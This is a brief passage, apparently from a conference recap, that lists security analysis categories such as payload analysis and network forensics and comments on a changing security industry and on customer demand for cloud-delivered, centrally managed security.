  • Payload Analysis
  • Endpoint behavior analysis
  • Network forensics
  • Endpoint forensics

The conference highlighted a security industry experience in a great deal of flux with the onset of advanced attacks, mobility and more.  At the same time, customers want things delivered via the cloud—all the while hoping for a centralized view and management capability.  As always, security is changing and evolving—but this year was a little different.  General consensus was that few knew where threats were going—but customers want a security architecture that can deal with today’s threats while adapting to ones we haven’t seen yet.